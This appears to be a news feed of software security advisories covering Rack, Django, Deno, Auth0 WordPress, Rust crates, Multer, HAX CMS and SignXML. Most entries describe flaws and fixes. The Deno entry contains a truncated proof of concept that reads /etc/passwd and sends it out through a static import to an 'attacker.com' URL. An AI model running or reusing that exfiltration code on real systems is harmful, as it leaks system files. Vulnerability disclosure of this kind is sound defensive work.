Latest News

### Summary There is a denial of service vulnerability in the Content-Disposition parsing component of Rack. This is very similar to the previous security issue CVE-2022-44571. ### Details Carefully crafted input can cause Content-Disposition header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is used typically used in multipart parsing. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted. ### Credits Thanks to [scyoon](https://hackerone.com/scyoon) for reporting this to the Rails security team

An issue was discovered in Django 5.2 before 5.2.2, 5.1 before 5.1.10, and 4.2 before 4.2.22. Internal HTTP response logging does not escape request.path, which allows remote attackers to potentially manipulate log output via crafted URLs. This may lead to log injection or forgery when logs are viewed in terminals or processed by external systems.

### Summary Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network. ### Details Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`: 1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code. 2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file. ### PoC ```ts const __filename = new URL("", import.meta.url).pathname; let oldContent = await Deno.readTextFile(__filename); let passFile = await Deno.readTextFile("/etc/passwd"); let pre = 'import {foo} from "[https://attacker.com?val=](https...

**Overview** The Auth0 Wordpress plugin contains a critical vulnerability due to insecure deserialization of cookie data. If exploited, since SDKs process cookie content without prior authentication, a threat actor could send a specially crafted cookie containing malicious serialized data. **Am I Affected?** You are affected by this vulnerability if you meet the following preconditions: 1. Applications using the Auth0 WordPress plugin, versions between 5.0.0 BETA-0 to 5.0.1. 2. Auth0 WordPress plugin uses the Auth0-PHP SDK with version 8.0.0-BETA3 to 8.3.0. **Fix** Upgrade the Auth0 WordPress plugin to the latest version (v5.3.0).

Affected versions append `root` to group listings, unless the correct listing has exactly 1024 groups. This affects both: - The supplementary groups of a user - The group access list of the current process If the caller uses this information for access control, this may lead to privilege escalation. This crate is not currently maintained, so a patched version is not available. Versions older than 0.8.0 do not contain the affected functions, so downgrading to them is a workaround. ## Recommended alternatives - [`uzers`](https://crates.io/crates/uzers) (an actively maintained fork of the `users` crate) - [`sysinfo`](https://crates.io/crates/sysinfo)

### Impact A vulnerability in Multer versions >=1.4.4-lts.1, <2.0.1 allows an attacker to trigger a Denial of Service (DoS) by sending an upload file request with an empty string field name. This request causes an unhandled exception, leading to a crash of the process. ### Patches Users should upgrade to `2.0.1` ### Workarounds None ### References https://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9 https://github.com/expressjs/multer/issues/1233 https://github.com/expressjs/multer/pull/1256

### Summary An **unauthenticated information disclosure vulnerability** exists in the PSU deployment of HAX CMS via the `haxPsuUsage` API endpoint. This allows **any remote unauthenticated user** to retrieve a full list of PSU websites hosted on HAX CMS. When chained with other authorization issues (e.g., HAX-3), this could assist in targeted attacks such as unauthorized content modification or deletion. --- ### Details The endpoint [`https://open-apis.hax.cloud/api/services/stats/haxPsuUsage`](https://open-apis.hax.cloud/api/services/stats/haxPsuUsage) returns a list of websites on the PSU instance of HAX CMS. This endpoint is exposed without any authentication or authorization checks. The source of the issue is in the `haxPsuUsage.js` file, which appears to directly serve the site listing without verifying user identity or access level. This enables anyone with the endpoint URL to enumerate all site instances under the PSU deployment. This endpoint may have originally been used f...

The following functions in the anon-vec crate are unsound due to insufficient checks on their arguments:: - `AnonVec::get_ref()` - `AnonVec::get_mut()` - `AnonVec::remove_get()` The crate was built as a learning project and is not being maintained.

When verifying signatures with X509 certificate validation turned off and HMAC shared secret set (`signxml.XMLVerifier.verify(require_x509=False, hmac_key=...`), prior versions of SignXML are vulnerable to a potential algorithm confusion attack. Unless the user explicitly limits the expected signature algorithms using the `signxml.XMLVerifier.verify(expect_config=...)` setting, an attacker may supply a signature unexpectedly signed with a key other than the provided HMAC key, using a different (asymmetric key) signature algorithm. Starting with signxml 4.0.4, specifying `hmac_key` causes the set of accepted signature algorithms to be restricted to HMAC only, if not already restricted by the user.

When verifying signatures with X509 certificate validation turned off and HMAC shared secret set (`signxml.XMLVerifier.verify(require_x509=False, hmac_key=...`), prior versions of SignXML are vulnerable to a potential timing attack. The verifier may leak information about the correct HMAC when comparing it with the user supplied hash, allowing users to reconstruct the correct HMAC for any data.